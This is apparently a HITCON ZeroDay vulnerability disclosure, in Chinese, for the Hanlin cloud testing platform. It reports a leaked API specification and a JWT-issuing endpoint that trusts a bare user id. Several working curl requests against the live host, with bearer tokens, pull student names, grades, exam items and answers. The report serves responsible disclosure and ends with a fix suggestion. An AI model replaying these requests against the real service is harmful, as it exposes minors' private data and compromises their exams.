Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00292
- Vendor: 翰林出版社
- Title: 翰林雲端速測 資訊洩漏、權限控管、邏輯錯誤漏洞
- Introduction: 權限未控管造成資訊外洩、JWT Token簽發邏輯錯誤
處理狀態
目前狀態
公開
Last Update : 2021/08/03
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2021/06/03 11:41:53 : 新提交 (由 Hsuan 更新此狀態)
- 2021/06/04 14:07:35 : 新提交 (由 Hsuan 更新此狀態)
- 2021/06/04 14:11:29 : 新提交 (由 Hsuan 更新此狀態)
- 2021/06/06 23:24:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/07 10:58:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/07 10:58:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/07 10:58:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/08/03 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00292
- 通報者:hsuan1117 (Hsuan)
- 風險:高
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://qt.hle.com.tw/
敘述
該網站之API文件因洩漏於公開網路,可公開查找到
https://hanlintest.ehanlin.com.tw/hanlintest-api/swagger/v1/swagger.json
API /Member/auth 能夠產生JWT並進行下一步攻擊
在該API中填入上面資訊洩漏所得的user id 可以產生「具有權限」的JWT Token
curl -X 'POST' \
'https://hanlintest.ehanlin.com.tw/hanlintest-api/Member/auth' \
-H 'accept: text/plain' \
-H 'Content-Type: application/json' \
-d '{
"userId": "317df0ea-d1ab-453b-859f-1204722351bf"
}'
會回傳一串具有權限的JWT Token
我們透過 /Course/create 驗證該JWT Token 具有權限
透過這個Token可以呼叫API
舉 /Examine/answerMetadata/list 這個API為例
curl -X 'GET' \
'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/answerMetadata/list?activityId=60b3a90b61f5c5000191e832&pageSize=1' \
-H 'accept: */*' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiIzMTdkZjBlYS1kMWFiLTQ1M2ItODU5Zi0xMjA0NzIyMzUxYmYiLCJuYmYiOjE2MjI2ODkxMzgsImV4cCI6MTYyMjk0ODMzOCwiaWF0IjoxNjIyNjg5MTM4fQ.In6NmhR-FVyyQDQqfwg_2X5ihlN8xQBfbR54o98g45g'
其回傳的內容,不但具有姓名還有班級座號成績,這些資訊具有隱私性而不應被公開存取
當學生取得或透過遍歷拿到一串數字的考試碼,以下的API會將考試資訊洩漏
curl -X 'GET' \
'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/testItem?activationId=55088971' \
-H 'accept: */*' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiIzMTdkZjBlYS1kMWFiLTQ1M2ItODU5Zi0xMjA0NzIyMzUxYmYiLCJuYmYiOjE2MjI3ODU1NjIsImV4cCI6MTYyMzA0NDc2MiwiaWF0IjoxNjIyNzg1NTYyfQ.a9CwHcpBpzKYlDwF9XeHJoAJDpwc1pvzPhH0ixEK9nM'
這裡的ExamId會導致使用者可以透過API任意操作考卷
拿到之後就可以使用下面的API
達到資訊洩漏
Payload:
curl -X 'GET' \
'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/paperMetadata?id=60aa745df522d57c86b5dae2_60b3a90b61f5c5000191e832' \
-H 'accept: */*'
CourseId , ActivityId, createdBy 這三個參數是關鍵的參數
下面的API不但可以匯出學生成績、刪除整張考卷、還可以利用裡面的內容取得答案
curl -X 'GET' \
'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/answer/list?activityId=60b3a90b61f5c5000191e832' \
-H 'accept: */*' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiIzMTdkZjBlYS1kMWFiLTQ1M2ItODU5Zi0xMjA0NzIyMzUxYmYiLCJuYmYiOjE2MjI3ODY1NzMsImV4cCI6MTYyMzA0NTc3MywiaWF0IjoxNjIyNzg2NTczfQ.TvQZCyh426DVY4FZMbLSLXRX4ea7_DjH1Aj8lQ2PRvs'
目前疫情期間,該網站服務眾多學生,為重要之漏洞
特此聲明:本人無任何惡意,相關漏洞皆為無意間發現之,也未進行攻擊,立即通報
修補建議
JWT 簽發的時候必須要有額外的驗證,不能僅以user id 來簽發
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。